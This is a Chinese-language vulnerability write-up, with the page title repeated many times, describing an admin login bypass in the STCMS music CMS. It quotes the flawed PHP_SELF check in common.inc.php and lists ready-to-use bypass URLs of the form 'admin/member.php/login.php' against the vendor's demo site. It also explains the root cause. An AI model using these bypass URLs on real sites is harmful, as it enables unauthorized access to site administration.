发布作者:心灵
漏洞类型:后台验证
漏洞分析:一个音乐系统
-0-!扔在硬盘也等于发霉,经典对白看代码。漏洞存在于“common.inc.php”文件中,具体如下。
phpstcms (STCMS音乐系统) 绕过后台验证方法
common.inc.php:
……
if(!in_array(substr(strrchr($_SERVER['PHP_SELF'],"/"),1),array("login.php","login.php?action=logined")))
{
checkLogin();
}
//以上是验证登录 绕过嘛 和 IIS6.0 解析漏洞一样 你懂的
……
phpstcms (STCMS音乐系统) 绕过后台验证方法
phpstcms (STCMS音乐系统) 绕过后台验证方法
站长点评:
phpstcms (STCMS音乐系统) 绕过后台验证方法
先补充一个知识,假如URL地址是:http://www.baidu.com/fuck/bitch.php,那么:$_SERVER['PHP_SELF']=='/fuck/bitch.php'。
phpstcms (STCMS音乐系统) 绕过后台验证方法
问题出在这个验证过程,居然使用这种卧槽的验证方式。
phpstcms (STCMS音乐系统) 绕过后台验证方法
首先截取“/fuck/bitch.php”中从最后一个“/”开始的位置到结尾的字符串,即结果为“bitch.php”。然后将“login.php?action=logined”和“login.php”创建成一个数组。然后在这个数组中搜索“bitch.php”,如果存在,那就登陆进去了……
phpstcms (STCMS音乐系统) 绕过后台验证方法
利用方式嘛,心灵大牛说的“IIS 6.0
解析漏洞”,例如官网演示站的后台地址为“http://demo.phpstcms.com/admin/”,那么只要提交“http://demo.phpstcms.com/admin/”+“文件名”+“/login.php”即可绕过登陆。
phpstcms (STCMS音乐系统) 绕过后台验证方法
例如官网:
phpstcms (STCMS音乐系统)
绕过后台验证方法
http://demo.phpstcms.com/admin/member.php/login.php
http://demo.phpstcms.com/admin/config.php/login.php
http://demo.phpstcms.com/admin/data.php/login.php
http://demo.phpstcms.com/admin/server.php/login.php
http://demo.phpstcms.com/admin/info.php/login.php
……
phpstcms (STCMS音乐系统) 绕过后台验证方法
以上地址仅做演示,请勿做任何非法用途,后果自负!
phpstcms (STCMS音乐系统) 绕过后台验证方法
PHP $_SERVER['PHP_SELF'] 函数漏洞产生原理:
phpstcms (STCMS音乐系统) 绕过后台验证方法
这个函数还存在跨站漏洞,具体请谷歌“针对
$_SERVER['PHP_SELF'] 的跨站脚本攻击”。
phpstcms (STCMS音乐系统) 绕过后台验证方法
那么,再来看看这个漏洞产生的原理,首先:http://www.baidu.com/test.php/……,这种调用是web服务器允许的,很多cms、论坛系统,都是采用这种方式,在服务器不支持rewrite的情况下实现诸如
http://www.baidu.com/test.php/archive/999
这样的固定网址的(我以前还以为是对404错误页下的手),所以带“/”的地址无法从web服务器上禁止。
phpstcms (STCMS音乐系统) 绕过后台验证方法
然后再看看php中对 $_SERVER['PHP_SELF']
的识别,他就是一个包含当前网址值的全局变量,天知道用户会输入什么样的网站,在上面的例子中是恶意的,可是在这样的网站上,却又是可以正常使用这种方式的地址的。所以,最终的结论要落在开发人员身上了,没有很好的处理与用户交互的数据。